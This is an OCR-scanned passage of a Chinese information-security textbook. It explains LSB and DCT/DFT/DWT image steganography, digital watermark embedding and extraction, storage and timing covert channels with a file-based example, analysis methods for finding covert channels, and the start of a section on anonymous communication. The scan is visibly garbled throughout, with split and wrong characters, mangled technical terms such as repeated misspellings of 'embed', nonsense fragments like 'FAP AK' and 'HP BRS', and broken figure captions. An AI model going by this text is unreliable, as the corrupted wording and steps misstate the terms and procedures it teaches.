基于 图 像 低位 字 节 对 图 像 影响 较 小 的 原理 ,下 面 给 出 一 个 24 位 彩色 图 像 的 信息 隐藏 算 
法 ,算法 示意 图 如 图 4-6 所 示 。 
算法 过 程 描述 如 下 。 
a) 将 待 隐藏 信息 ( 称 为 签名 信息 ) 的 字 节 长 度 写 和 人 BMP 文件 标 头 部 分 的 保留 字 节 中 。 
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A46 字 节 替换 方法 示意 图 


(2) 将 签名 信息 转化 为 二 进 制 数据 码 流 。 
(3) 将 BMP 文件 图 像 数 据 部 分 的 每 个 字 节 的 最 低位 依次 替换 为 上 述 二 进 制 数码 流 的 
一 个 位 。 


依照 上 述 算法 ,一 个 24 位 的 彩色 图 像 经 空间 域 变换 后 的 图 像 如 图 4-7 所 示 。 


(a) 未 隐藏 信息 (b) 隐藏 信息 后 (c) 被 隐藏 的 信息 
图 4-7 一 个 24 位 图 像 变换 前 后 的 对 比 图 


由 于 原始 24 位 BMP 图 像 文件 隐藏 信息 后 ,其 数据 部 分 每 字 节 数值 最 多 变化 1 位 ,该 字 
节 代 表 的 像素 最 多 只 变化 了 1/256 ,因此 已 隐藏 信息 的 BMP 图 像 与 未 隐藏 信息 的 BMP 图 
像 用 肉眼 是 看 不 出 差别 的 。 

如 果 将 BMP 文件 图 像 数 据 部 分 的 每 个 字 节 最 低 4 位 依次 替换 为 签名 信息 二 进 制 数码 
流 的 4 位 , 则 由 于 原始 24 位 BMP 图 像 文件 隐藏 信息 后 ,其 数据 部 分 字 节 数 值 最 多 变化 为 
16, 该 字 节 代表 的 像素 最 多 变化 了 1/16, 因 此 已 隐藏 信息 的 BMP 图 像 与 未 隐藏 信息 的 
BMP 图 像 (图 4-8) 用 肉眼 能 看 出 差别 。 


(a) 未 隐藏 信息 (b) 隐藏 信息 后 (c) 被 隐藏 的 信息 
图 4-8 最 低 4 位 替换 隐藏 图 像 对 比 图 
3. 变换 ( 频 ) 域 算法 


空间 域 算法 的 最 大 缺点 是 鲁 棒 人 性差, 很 难 抵抗 包括 有 损 压 缩 、 低 通 滤波 等 在 内 的 各 种 攻 
击 。 另 外 ,空间 域 中 信息 隐藏 算法 只 能 嵌入 很 小 的 数据 量 。 图 像 的 频 域 算法 指 对 图 像 数 据 
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进行 某 种 变换 ,这 种 方法 可 以 嵌入 大 量 的 比特 而 不 引起 可 察觉 的 降 质 ,当选 择 改变 中 频 或 低 
频 分 量 (DCT 变换 除去 直流 分 量 ) 来 嵌入 信息 时 ,健壮 性 可 以 大 大 提高 。 常 用 的 频 域 信息 隐 
藏 算法 有 DFT( 离 散 傅 里 叶 变 换 ) .DCT( 离 散 余弦 变换 ) 和 DWT( 离 散 小 波 变换 )。 

Hartunt 等 人 提出 了 一 种 DCT 域 信息 隐藏 算法 ,其 方法 是 首先 把 图 像 分 成 8X8 的 不 
重 释 像 素 块 ,经 过 分 块 DCT 得 到 由 DCT 系数 组 成 的 频率 块 ,然后 随机 选取 一 些 频率 块 ,将 
秘密 信息 嵌入 到 由 密 钥 控制 选择 的 一 些 DCT 系数 中 。 该 算法 是 通过 对 选 定 的 DCT 系数 
进行 微小 变换 以 满足 特定 的 关系 来 表示 一 个 比特 的 信息 的 。 在 提取 秘密 信息 时 ,可 选取 相 
同 的 DCT 系数 ,并 根据 系数 之 间 的 关系 抽取 比特 信息 。 其 思想 类 似 于 扩展 频谱 通信 中 的 
跳 频 (Frequency Hopping) HER ,特点 是 数据 改变 幅度 较 小 , 且 透 明 性 好 ,但 是 其 抵抗 几何 变 
换 等 攻击 的 能 力 较 弱 。 基 于 DFT 和 DWT 的 算法 与 上 述 算法 具有 相似 的 原理 。 

这 种 以 变换 域 算法 为 代表 的 通用 算法 普遍 采用 变换 技术 ,以 便 在 频率 域 实现 秘密 信息 
全 加 ,并 借鉴 扩展 频谱 通信 等 技术 对 秘密 信息 进行 有 效 的 编码 ,从 而 提高 了 透明 性 和 重 棒 
性 ,同时 还 适当 利用 滤波 技术 对 秘密 信息 引入 的 高 频 噪声 进行 了 消除 ,从 而 增加 了 对 低频 滤 
波 攻 击 的 抵抗 力 。 该 方法 同样 适用 于 数字 水 印 的 说 入 。 

如 图 4-9 所 示 ,以 一 幅 图 像 为 例 , 分 别 给 出 用 DFT DCT SRA DWT 域 算法 嵌入 信息 
后 生成 的 图 像 。 这 些 图 像 通过 肉眼 很 难 区 分 是 否 谋 入 了 秘密 信息 ,必须 通过 计算 机 分 析 才 
能 判断 。 


(a) 原始 图 像 (b) DFT 域 (c) DCT 域 (d) DWT 域 


4-9 原始 图 像 与 经 过 DFT 域 .DCT 域 和 DWT 域 算法 工 入 信息 后 生成 的 图 像 


4.4 数字 水 印 技术 


多 媒体 通信 业务 和 Internet 的 快速 发 展 给 信息 的 广泛 传播 提供 了 前 所 未 有 的 便利 ,各 
种 形式 的 多 媒体 作品 (包括 视频 ,音频 和 图 像 等 ) 纷 纷 以 网 络 形式 发 布 。 然 而 ,任何 人 都 可 以 
通过 网 络 轻而易举 地 获得 他 人 的 原始 作品 ,甚至 不 经 作者 的 同意 任意 复制 、 修 改 , 这 些 现象 
严重 侵害 了 作者 的 知识 产权 。 为 了 防止 这 种 情况 的 发 生 , 保 护 作 者 的 版 权 ,人 们 提出 了 数字 
水 印 的 概念 。 

数字 水 印 类 似 于 信息 隐藏 , 它 也 是 在 数字 化 的 信息 载体 ( 指 多 媒体 作品 ) 中 嵌入 不 明显 
的 记号 (也 称 为 标识 或 者 水 印 ) 隐 藏 起 来 ,被 嵌入 的 信息 包括 作品 的 版 权 所 有 者 、 发 行者 、 购 
买 者 ,作者 的 序列 号 .日 期 和 有 特殊 意义 的 文本 等 ,但 目的 不 是 为 了 隐藏 或 传递 这 些 信息 ,而 
是 在 发 现 盗 版 或 发 生 知识 产权 纠纷 时 ,用 来 证 明 数 字 作 品 的 来 源 、 版 本 、 原 作者 、 拥 有 者 、 发 
行人 以 及 合法 使 用 人 等 。 通 常 被 嵌入 的 标识 是 不 可 见 或 不 可 观察 的 , 它 与 源 数据 紧密 结合 
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并 隐藏 其 中 ,成 为 源 数 据 不 可 分 离 的 一 部 分 ,并 可 以 经 历 一 些 不 破坏 源 数据 的 使 用 价值 的 操 
作 而 存活 下 来 。 这 样 的 标识 可 以 通过 计算 机 操作 被 检测 或 者 被 提取 出 来 。 显 而 易 见 ， 
数字 水 印 是 数字 化 的 多 媒体 作品 版 权 保护 的 关键 技术 之 一 ,也 是 信息 隐藏 的 重要 
分 支 。 


4.4.1 数字 水 印 的 基本 原理 


人 们 利用 视觉 和 听觉 的 元 余 特 性 ,在 多 媒体 作品 中 添加 标识 后 并 不 影响 作品 的 视听 效 
果 , 并 且 还 能 通过 计算 机 操作 部 分 或 全 部 恢复 隐藏 信息 , 即 水 印信 息 。 从 版 权 保 护 的 角度 来 
看 ,不 论 攻击 者 如 何 对 源 数据 实施 何 种 破坏 行为 ,水 印信 息 都 是 无 法 被 去 掉 的 。 与 加 密 技术 
不 同 ,数字 水 印 技术 不 能 阻止 盗版 行为 。 

通用 的 数字 水 印 算法 一 般 包含 水 印 生 成 算法 、 水 印 府 入 和 提取 /检测 3 个 方面 。 其 中 ， 
水 印 生 成 算法 主要 涉及 怎样 构造 具有 良好 随机 特性 的 水 印 , 并 且 出 于 水 印 安 全 性 考虑 ,有 的 
算法 在 水 印 戏 入 之 前 采用 其 他 相关 技术 先 对 水 印 进行 嵌入 预 处 理 , 如 扩 频 、 纠 错 编码 或 加 密 
等 。 以 下 仅 就 水 印 谋 入 和 提取 /检测 两 个 方面 进行 介绍 。 水 印 府 入 模型 框架 如 图 4-10 
所 示 。 


没有 水 印 的 |_ 


输入 数据 C 
| | 数字 水 印 有 水 印 的 输 
嵌入 算法 出 数据 Ci 
RT OK EW 
FAP AK 


图 4-10 水 印 嵌 入 模型 框架 


在 数字 水 印 的 嵌入 过 程 中 ,可 先 对 被 保护 的 数字 产品 C 和 数字 水 印 W 进行 预 处 理 。 此 
预 处 理 可 以 是 任何 一 种 变换 操作 (如 DCT DFT ,离散 小 波 变 换 、 傅 里 叶 -梅林 变换 等 ) 或 一 
些 变换 操作 的 组 合 , 也 可 以 为 空 操作 (这 时 嵌入 水 印 为 空间 域 水 印 ) 等 。 用 户 密 钥 K 表示 数 
字 水 印 嵌 入 算法 的 密 钥 ,Cw 是 嵌入 水 印 后 输出 的 数字 产品 。 

水 印 提取 模型 框架 如 图 4-11 所 示 o 


有 水 印 的 输 
入 数据 Cr 
|| 数字 水 印 提取 出 的 
提取 算法 KMW’ 
用 户 密 钥 K 


图 4-11 水 印 提取 模型 框架 


数字 水 印 提取 过 程 的 输出 有 两 种 可 能 : 一 种 是 直接 提取 水 印 , 得 到 提取 出 的 水 印 W; 
另 一 种 是 得 到 水 印 是 否 存 在 的 结论 。 

水 印 提取 过 程 中 ,原始 数字 载体 是 可 选择 的 , 它 取决 于 具体 说 入 算法 ,有 些 算法 需要 原 
始 载体 ,有 些 则 不 需要 。 

利用 上 述 数字 水 印 模型 ,可 以 分 析 目 前 提出 的 各 种 数字 水 印 方案 。 大 部 分 数字 水 印 算 
法 都 是 在 预 处 理 和 说 入 算法 上 做 文章 。 根 据 预 处 理 的 不 同 ,可 以 把 各 种 水 印 方案 分 类 ,如 空 
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间 域 水 印 ( 预 处 理 为 空 操作 ) 、 变 换 域 水 印 ( 预 处 理 为 各 种 变换 )。 变 换 域 水 印 中 又 根据 变换 
域 的 不 同 ,分 为 DCT 域 水 印 、 小 波 变换 域 水 印 等 。 除 了 预 处 理 的 不 同 , 还 有 嵌入 算法 的 不 
同 , 它 们 的 一 些 组 合 就 构成 了 多 种 多 样 的 数字 水 印 算法 。 


4.4.2 数字 水 印 算法 


数字 水 印 技术 涉及 许多 研究 领域 ,包括 图 像 处 理 .数字 通信 、 密 码 学 和 信号 检测 与 估计 
等 。 以 数字 图 像 产品 为 例 , 根 据 水 印 嵌 入 图 像 的 方式 不 同 ,目前 的 水 印 技术 可 大 致 分 为 
空间 域 技术 和 变换 域 技术 ,对 于 其 他 数字 产品 ,如 音频 、 视 频 产品 所 使 用 的 算法 也 基本 
类 似 。 

1. 空间 域 技术 

空间 域 技术 是 最 早 的 也 是 最 简单 的 水 印 算法 ,其 原理 就 是 通过 改变 图 像 中 某 些 像素 值 
来 加 入 信息 ,再 通过 记录 提取 这 些 信息 来 检测 水 印 。 该 类 算法 中 典型 的 是 前 面 提 到 的 最 低 
有 效 位 算法 (LSB) 。 该 方法 可 保证 嵌入 的 水 印 不 可 见 ,但 是 由 于 使 用 了 不 重要 的 图 像 像素 
位 ,算法 的 鲁 棒 性 差 ,水印 信息 很 容易 因 滤波 、 图 像 量 化 .几何 变形 的 操作 而 被 破坏 。 另 外 一 
个 常用 的 方法 是 利用 像素 的 统计 特征 将 信息 嵌入 像素 的 亮度 值 中 。Patchwork 方法 是 随机 
选取 N 对 像素 点 ,然后 通过 增加 像素 对 中 一 个 点 的 亮度 值 , 而 相应 降低 另 一 个 点 的 亮度 值 
的 调整 来 隐藏 信息 ,这样 整个 图 像 的 平均 亮度 保持 不 变 。 适 当地 调整 参数 ,Patchwork 方法 
对 JPEG 压缩 FIR 滤波 以 及 图 像 裁 前 有 一 定 的 抵抗 力 ,但 该 方法 嵌入 的 信息 量 有 限 。 为 了 
嵌 人 更 多 的 水 印信 息 ,可 以 将 图 像 分 块 , 然 后 对 每 一 个 图 像 块 进行 嵌入 操作 。 还 有 一 种 适用 
于 文档 类 数据 的 数字 水 印 算法 ,主要 是 通过 轻微 改变 字符 间距 、 行 间距 ,或 增加 、 删 除 字符 特 
征 ( 如 底 纹 线 ) 等 方法 来 嵌入 水 印 或 是 在 符号 级 或 语义 级 加 入 水 印 。 例 如 ,可 以 用 big 替换 
文本 中 的 large。 图 4-12 给 出 了 一 幅 LSB 法 嵌入 水 印 图 像 的 示例 。 


Copyright 


(a) 未 嵌入 水 印 (b) 嵌入 水 印 后 (c) 被 隐藏 的 水 印 
4-12 LSB 法 杠 入 水 印 图 像 示例 


2. 变换 ( 频 ) 域 算法 

同 信息 隐藏 算法 类 似 , 空 间 域 算法 存在 鲁 棒 性 差 、 抗 攻击 能 力 差 等 缺点 ,采用 变换 域 算 
法 嵌入 水 印 ,可 大 大 提高 鲁 棒 性 。 常 用 的 频 域 水 印 算法 有 DFT、DCT 和 DWT 等 。 该 类 水 
印 算法 同 信息 隐藏 的 变换 域 算 法 相似 ,隐藏 和 提取 信息 操作 复杂 ,隐藏 信息 量 不 能 很 大 ,但 
抗 攻击 能 力 强 。 

图 4-13 给 出 了 一 幅 图 像 用 DCT 域 变换 法 嵌入 水 印 的 示例 。 
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(a) 未 说 入 水 印 (b) ik A ZK EN (c) 被 隐藏 的 水 印 
图 4-13 DCT 域 变换 隐藏 水 印 图 像 示 例 


4.5 隐 通 道 技术 


由 于 隐 通 道 问题 在 信息 安全 方面 特别 是 机 密 性 信息 的 泄露 方面 的 重要 性 ,美国 国防 部 
可 信 计 算 机 系统 评估 准则 (TCSEC) 中 规定 ,在 B2 及 以 上 安全 级 别 的 安全 系统 设计 和 开发 
过 程 中 ,必须 进行 隐 通 道 分 析 。 系 统 中 存在 的 隐 通 道 能 够 使 得 攻击 者 绕 过 所 有 的 安全 保护 
机 制 而 妨害 系统 的 机 密 性 。 


4.5.1 隐 通 道 的 概念 


隐 通 道 的 概念 最 初 是 由 Lampson 于 1973 年 提出 的 ,从 那 以 后 ,有 不 同 定义 试图 从 不 同 
角度 来 描述 隐 通 道 的 本 质 和 特性 。TCSEC 中 一 个 比较 通 泛 的 定义 是 “能 让 一 个 进程 以 违反 
系统 安全 策略 的 方式 传递 消息 的 信息 通道 "。 也 就 是 说 , 隐 通 道 是 指 在 系统 中 利用 那些 本 来 
不 是 用 于 通信 的 系统 资源 , 绕 过 强制 存 取 控制 进行 非法 通信 的 信息 信道 ,并 且 这 种 通信 方式 
往往 不 被 系统 的 存 取 控制 机 制 所 检测 和 控制 。 

定义 4-3 隐 通 道 是 指 系统 用 户 用 违反 系统 安全 策略 的 方式 传送 信息 给 另 一 用 户 的 机 
制 ,在 一 个 系统 中 ,给 定 一 个 安全 策略 模型 (如 强制 安全 模型 ) M 及 其 解释 TCM) ,TCM) 中 的 
任何 两 个 主体 TCS\) 和 Si) 之 间 的 任何 潜在 的 通信 是 隐蔽 的 , 当 且 仅 当 两 个 相应 主体 Sa 
ANS, 的 任何 通信 在 安全 模型 M 中 是 非法 的 。 

从 本 质 上 来 说 , 隐 通 道 的 存在 反映 了 安全 系统 在 设计 时 所 遵循 的 安全 模型 的 信息 安全 
要 求 与 该 系统 实现 时 所 表现 的 安全 状况 之 间 的 差异 是 客观 存在 的 。 由 于 现实 系统 的 复杂 性 
以 及 该 系统 设计 时 在 性 能 和 兼容 性 方面 的 考虑 因素 ,使 得 严格 遵守 某 安全 策略 模型 是 不 现 
实 的 。 这 就 是 目前 所 有 的 安全 系统 所 实现 的 安全 机 制 都 是 某 个 安全 模型 在 一 定 程度 上 的 近 
似 。 事 实说 明 , 没 有 绝对 安全 的 系统 , 隐 通 道 问 题 的 提出 与 解决 是 为 了 缓解 和 限制 这 种 
隐患 。 


4.5.2 隐 通 道 的 分 类 


隐 通 道 的 分 类 主要 有 3 种 方法 。 根 据 隐 通道 的 形成 , 隐 通 道 可 分 为 存储 隐 通 道 
(Storage Covert Channels) 和 时 间 隐 通道 CTiming Covert Channels); 根据 隐 通 道 是 否 存 在 
噪声 , 隐 通 道 可 分 为 噪声 隐 通 道 (Noisy Covert Channels) 和 无 噪声 隐 通 道 (Noiseless Covert 
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Channels); 根据 隐 通 道 所 涉及 的 同步 变量 或 信息 的 个 数 , 隐 通 道 可 分 为 聚集 隐 通 道 
(Aggregated Covert Channels) 和 非 聚 集 隐 通道 (Noaggregated Covert Channels). F m X} 
这 几 种 分 类 方法 分 别 进行 介绍 。 

1. 存储 隐 通 道 和 时 间 隐 通 道 

如 果 一 个 隐 通 道 涉及 对 一 些 系统 资源 或 资源 属性 的 操作 (如 是 否 使 用 了 一 个 文件 ) , 接 
收 方 通过 观察 该 资源 及 其 属性 的 变化 来 接收 信息 所 形成 的 隐 通 道 , 则 称 为 存储 隐 通 道 。 接 
收 方 通过 感知 时 间 变 化 来 接收 信息 所 形成 的 隐 通 道 , 则 称 为 时 间 隐 通道 。 它 们 最 突出 的 区 
别 是 : 时 间 隐 通道 需要 一 个 计时 基准 ,而 存储 隐 通 道 不 需要 。 在 具有 高 安全 级 别 的 发 送 进 
程 与 具有 低 安全 级 别 的 接收 进程 之 间 ,存储 隐 通 道 和 时 间 隐 通道 的 存在 均 要求 系 统 满足 一 
定 的 条 件 。 

1) 存储 隐 通 道 

形成 存储 隐 通 道 的 基本 条 件 如 下 。 

(1) 发 送 者 和 接收 者 必须 能 存 取 一 个 共享 资源 的 相同 属性 。 

(2) 发 送 者 必须 能 够 通过 某 种 途径 使 共享 资源 的 共享 属性 改变 状态 。 

(3) 接收 者 必须 能 够 通过 某 种 途径 感知 共享 资源 的 共享 属性 的 改变 。 

(4) 必须 有 一 个 初始 化 发 送 者 与 接收 者 通信 及 顺序 化 发 送 与 接收 事件 的 机 制 。 

下 面 以 利用 文件 读 写 进行 信息 传输 的 存储 隐 通 道 为 例 进行 简单 介绍 。 

如 图 4-14 所 示 ,在 一 个 安全 操作 系统 中 ,用 户 A 的 安全 级 别 为 H( 高 级 别 ), 用 户 B 的 
安全 级 别 为 L( 低 级 别 ) ,File A 的 安全 级 别 为 H,File B 的 安全 级 别 为 L, 系 统 采用 强制 访问 
控制 机 制 ,主体 不 可 读 安全 级 别 高 于 它 的 数据 ,主体 不 可 写 安全 级 别 低 于 它 的 数据 ,也 就 是 
“下 读 上 写 ” 的 安全 策略 模型 。 按 如 下 步骤 ,就 可 以 完成 信息 的 交换 。 

H 级 别 
File A jæ 


H 级 别 C 用 户 A 用 户 B_ LAR 


=| FileB 上 
J 读 / 写 
eT B/S 


图 4-14 基于 “下 读 上 写 ” 安 全 策略 的 隐 通 道 


第 1 步 : 用 户 B 在 File A 中 写 和 人 “Start” 字 符 串 ,表明 信息 传输 开始 。 

第 2 步 : FAP A 监控 File A, 当 它 发 现 File A 中 出 现 “Start” 字 符 串 时 ,表明 已 经 和 用 
P BB 同步 。 

第 3 步 : 用 户 A 读 文件 File B, 表 示 传 输 二 进 制 1; 用 户 A 不 读 文件 File B, 表 示 传 输 
二 进 制 0, 同 时 监控 File A。 

第 4 步 : HP BRS File B, 当 它 写 失败 时 ,表示 用 户 A 正在 读 File B, 即 表示 传输 了 
二 进 制 1, 否 则 就 是 二 进 制 0, 用 户 B 将 该 二 进 制 信息 写 和 人 File A. 

第 5 步 : MHP A 监控 到 File A 被 写 人 了 数据 后 ,可 以 通过 检查 数据 知道 用 户 B 收 到 
的 信息 是 否 正确 ,然后 进行 第 二 个 数据 的 传输 。 

第 6 步 : 反复 进行 第 三 步 至 第 五 步 操作 .直到 信息 传输 完毕 。 


读 / 写 写 
| 


谈 
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第 7 步 : 信息 传输 完毕 后 ,用 户 B 在 File A 中 写 人 “End”, 表 示 传 输 结 束 。 

第 8 步 : 用 户 A 监控 到 File A 中 出 现 “End” 字 符 串 后 ,结束 传输 。 

2) 时 间 隐 通道 

形成 时 间 隐 通道 的 基本 条 件 如 下 。 

(1) 发 送 者 和 接收 者 必须 能 存 取 一 个 共享 资源 的 相同 属性 。 

(2) 发 送 者 和 接收 者 必须 能 存 取 一 个 时 间 基 准 , 如 实时 时 钟 。 

(3) 发 送 者 必须 能 够 调整 自己 的 响应 时 间 ,使 其 为 感知 共享 资源 的 共享 属性 改变 的 接 
收 者 响应 时 间 。 

(4) 必须 有 一 个 初始 化 发 送 者 与 接收 者 通信 及 顺序 化 发 送 与 接收 事件 的 机 制 。 

值得 注意 的 是 : 有 一 些 隐 通道 同时 表现 出 了 存储 隐 通 道 和 时 间 隐 通道 的 特性 (如 磁 臂 
隐 通 道 )。 通 常 ,一 些 存储 资源 与 一 些 临 时 行为 (如 查找 时 间 ) 相 关 , 所 以 涉及 对 它们 的 操纵 
同时 表现 出 了 存储 隐 通 道 和 时 间 隐 通道 的 特性 。 并 且 时 间 隐 通道 中 的 时 间 基 准 是 一 个 很 宽 
松 的 概念 ,接收 者 能 够 感知 事件 发 生 顺 序 和 发 送 者 能 够 影响 事件 发 生 顺 序 的 机 制 都 可 称 为 
时 间 基 准 。 

2. 噪声 隐 通 道 和 无 噪声 隐 通 道 

在 一 个 隐 通 道中 ,如 果 信 息 发 送 者 发 送 的 信息 能 够 被 接收 者 完全 正确 接收 ,也 就 是 信息 
发 送 者 所 发 送 的 信息 与 接收 者 所 接收 的 信息 一 致 ,那么 这 个 隐 通 道 可 称 为 无 噪声 隐 通 道 。 
如 果 信 息 发 送 者 发 送 的 信息 被 接收 者 正确 接收 的 概率 小 于 1, 也 就 是 接收 者 所 接收 的 信息 
要 少 于 信息 发 送 者 所 发 送 的 信息 ,那么 这 个 隐 通 道 称 为 噪声 隐 通 道 。 噪 声 隐 通 道 所 传送 的 
有 效 信息 量 要 少 些 ,可 以 通过 使 用 纠 错 码 将 噪声 隐 通 道 转变 为 无 噪声 隐 通 道 ,但 是 这 种 转变 
在 降低 传输 出 错 率 的 同时 限制 了 原 有 的 通道 容量 。 

3. 聚集 隐 通 道 和 非 聚 集 隐 通道 

在 一 个 隐 通 道中 ,为 实现 数据 通信 ,多 个 数据 变量 (作为 一 个 组 ) 作 为 同步 变量 或 信息 ， 
这 样 的 隐蔽 通道 称 为 聚集 隐蔽 通道 ,反之 称 为 非 聚 集 隐蔽 通道 。 非 聚集 隐蔽 通道 也 称 为 单 
一 隐 通道 , 它 仅 影响 单独 的 数据 变量 。 根 据 通信 双方 进程 设置 . 读 取 和 重 置 数据 变量 的 方 
式 ,可 以 采用 序列 .并行 或 混合 方式 形成 聚集 信息 传输 通道 以 获得 最 大 带宽 。 为 获得 最 大 带 
DE ,并 行 聚集 隐 通 道 变 量 要 求 在 不 同 处 理 器 上 对 通信 进程 进行 组 调用 ,和 否则 带宽 会 降 至 序列 
聚集 通道 的 水 平 。 在 多 处 理 器 操作 系统 和 多 工作 站 系统 中 均 能 够 实现 组 调用 ,这 种 情况 下 ， 
仅 分 析 单 独 的 隐 通 道 是 无 法 确定 隐 通 道 的 最 大 带宽 的 。 
4.5.3 隐 通 道 分 析 方法 

隐 通 道 识别 技术 是 建立 在 识别 项 层 设计 描述 和 系统 源 代码 中 非法 信息 流 的 思想 基础 之 
上 的 ,该 思想 最 先 由 Denning 和 Millen 提出 ,之 后 Andrews 和 Reitman 对 程序 语言 信息 流 
分 析 方 法 进行 了 扩展 ,将 其 进一步 用 于 分 析 并 行程 序 描述 细则 。 现 在 应 用 比较 广泛 的 分 析 
方法 主要 有 信息 流 分 析 方 法 、 非 干扰 分 析 方 法 和 共享 资源 矩阵 方法 ,下 面 分 别 做 简单 介绍 。 

1. 信息 流 分 析 方 法 


信息 流 分 析 方法 是 在 信息 流 模 型 的 基础 上 提出 的 ,也 是 最 基本 的 方法 ,包括 信息 流 句 法 
分 析 方法 和 信息 流 文法 分 析 方法 。 信 息 流 分 析 方法 能 检测 出 合法 通道 和 存储 隐 通 道 , 不 能 
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检测 时 间 隐 通道 。 

信息 流 句法 分 析 方 法 的 基本 思想 是 : 将 信息 流 策略 运用 于 语句 或 代码 以 产生 信息 流 公 
式 , 这 些 信 息 流 公式 必须 能 够 被 证 明 是 正确 的 ,正确 性 无 法 得 到 证 明 的 信息 流 即 可 能 产生 隐 
通道 。 该 分 析 方法 的 优点 是 : 易于 实现 自动 化 ; 可 用 于 形式 化 顶层 描述 和 源 代 码 分 析 ; 可 
用 于 单独 的 可 信 计 算 基 (Truested Computation Base,TCB) 功 能 和 原 语 ; 不 遗漏 任何 会 造 
成 隐 通 道 的 信息 流 。 但 是 ,该 方法 也 有 其 相应 的 局 限 性 ,主要 有 对 发 现 并 减少 伪 非 法 
信息 流 具 有 脆弱 性 、 对 非 形 式 化 描述 的 作用 有 限 、 无 法 判断 隐 通 道 处 理 代 码 在 TCB 中 
的 正确 位 置 。 

相对 来 说 ,信息 流 文法 分 析 方 法 克服 了 信息 流 句法 分 析 方 法 的 某 些 不 足 之 处 , 它 使 用 系 
统 强制 安全 模型 的 源 代 码 ,能 够 确定 未 经 证 明 的 信息 流 是 真正 的 违法 信息 流 以 及 使 用 该 信 
息 流 将 造成 真正 的 隐 通 道 。 此 外 , 它 还 能 够 帮助 确认 隐 通 道 处 理 代 码 在 TCB 中 的 正确 位 
置 。 当 然 , 这 种 方法 也 有 缺点 ,主要 是 : 对 分 析 人 员 的 技术 水 平 要 求 高 ; 由 于 它 在 实际 应 用 
中 要 求 使 用 针对 不 同 语言 设计 的 句法 分 析 器 和 信息 流产 生 器 等 自动 化 工具 ,因而 实用 性 
有 限 。 

2. 非 干 扰 分 析 方 法 


非 干扰 分 析 方 法 将 TCB 视 为 一 个 抽象 机 ,用 户 进 程 的 请 求 代表 该 抽象 机 的 输入 ,TCB 
的 响应 代表 该 抽象 机 的 输出 ,TCB 内 部 变量 的 内 容 构 成 该 抽象 机 的 当前 状态 。 每 一 个 TCB 
的 输入 都 会 引起 TCB 状态 的 变化 和 相应 的 输出 。 当 发 生 这 样 的 情况 时 , 称 两 个 进程 A 和 B 
之 间 是 无 干扰 的 。 对 于 进程 A 和 进程 B, 如 果 取 消 来 自 进程 A 的 所 有 TCB 状态 机 的 输入 ， 
则 进程 B 所 观察 到 的 TCB 状态 机 的 输出 并 没有 任何 变化 ,也 就 是 进程 A 和 进程 B 之 间 没 
有 传递 任何 信息 。 

(1) 非 干 扰 分 析 方 法 的 优点 : 可 同时 用 于 形式 化 TCB 的 描述 细则 和 源 代码 分 析 ; 可 避 
免 分 析 结 果 中 含有 伪 非 法 信息 流 ; 可 逐渐 被 用 于 更 多 单独 的 TCB 功能 和 原 语 。 

(2) 非 干 扰 分 析 方 法 的 缺点 : 该 方法 是 一 种 乐观 的 分 析 方 法 , 即 以 证 明 TCB 的 描述 细 
则 或 代码 中 不 存在 干扰 进程 为 目的 , 仅 适用 于 封闭 的 可 信和 进程 TCB 描述 而 不 是 含有 大 量 共 
享 变量 的 TCB 描述 ; 允许 要 求 分 析 形 式 化 描述 细则 或 源 代码 的 系统 (B2 至 B3 级 系统 ) 使 
用 该 方法 ,只 有 一 部 分 Al 级 系统 设计 要 求 对 源 代码 进行 隐 通 道 识别 。 

3. 共享 资源 矩阵 方法 

共享 资源 矩阵 (Shared Resource Matrix,SRM) 方 法 最 初 由 Kemmerer 于 1983 年 提出 。 
该 方法 的 基本 思想 是 : 根据 系统 中 可 能 与 隐 通 道 相关 的 共享 资源 产生 一 个 共享 资源 矩阵， 
通过 分 析 该 矩阵 发 现 可 能 造成 隐 通 道 的 系统 设计 缺陷 。 具 体 实现 方法 是 建立 一 个 表示 系统 
资源 与 系统 操作 之 间 读 写 关 系 的 矩阵 , 行 项 是 系统 资源 及 其 属性 , 列 项 是 系统 的 操作 原 语 。 
矩阵 的 每 一 项 表示 给 定 操作 原 语 是 否 读 或 写 对 应 的 系统 资源 ,并 分 析 该 窍 阵 。 

(1) 共享 资源 矩阵 方法 的 优点 : 具有 广泛 的 适用 性 ,不 但 可 以 用 于 代码 分 析 , 还 可 以 用 
于 规范 分 析 , 甚 至 是 模型 和 机 器 代码 分 析 。 

(2) 共享 资源 矩阵 方法 的 缺点 : 构造 共享 资源 矩阵 工作 量 大 ; 没有 有 效 的 构造 工具 ; 
不 能 证 明 单独 一 个 原 语 是 否 安全 。 
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4.6 匿名 通信 技术 


4.6.1 匿名 通信 的 概念 


在 计算 机 网 络 环境 中 ,采用 加 密 的 方法 来 保护 传输 信息 的 机 密 性 ,但 是 仅 有 机 密 性 的 保 
护 是 不 够 的 ,在 一 些 特殊 的 场景 中 ,个 人 通信 的 隐私 是 非常 重要 的 ,也 需要 保护 。 例 如 ,在 使 
用 现金 购物 、 参 加 无 记名 投票 选举 或 在 网 络 上 发 表 个 人 看 法 时 ,人 们 都 希望 能 够 对 其 他 的 参 
与 者 或 者 可 能 存在 的 窃听 者 隐藏 自己 的 真实 身份 ,也 就 是 需要 采用 匿名 方式 进行 保护 。 有 
时 ,人 们 又 希望 自己 在 向 其 他 人 展示 自己 身份 的 同时 ,阻止 其 他 未 授权 的 人 通过 通信 流 分 析 
等 手段 发 现 自己 的 身份 。 例 如 ,为 警方 检举 罪犯 的 目击 证 人 ,他 既 要 向 警方 证 明 自己 的 真实 
身份 ,同时 又 希望 不 要 泄露 自己 的 身份 。 事 实 上 ,匿名 性 和 隐私 保护 已 经 成 为 了 一 项 现代 社 
会 正常 运行 所 不 可 缺少 的 安全 需求 ,很 多 国家 已 经 对 隐私 权 进行 了 立法 保护 。 

然而 在 现 有 的 Internet 世界 中 ,用 户 的 隐私 状况 却 一 直 令 人 担忧 。 目 前 Internet 网 络 
协议 不 支持 隐藏 通信 端 地 址 的 功能 。 能 够 访问 路 由 结 点 的 攻击 者 可 以 监控 用 户 的 流量 特 
征 ,获得 IP 地 址 ,使 用 一 些 跟 踪 软 件 甚至 可 以 直接 从 IP 地 址 追踪 到 个 人 用 户 。 采 用 SSL 
加 密 机 制 虽然 可 以 防止 其 他 人 获得 通信 的 内 容 , 但 是 这 些 机 制 并 不 能 隐藏 是 谁 发 送 了 这 些 
信息 。 

通俗 地 讲 , 匿 名 通信 就 是 指 不 能 确定 通信 方 身份 (包括 双方 的 通信 关系 ) 的 通信 技术 , 它 
保护 通信 实体 的 身份 。 严 格 地 讲 , 匿 名 通信 是 指 通过 一 定 的 方法 将 业务 流 中 的 通信 关系 加 
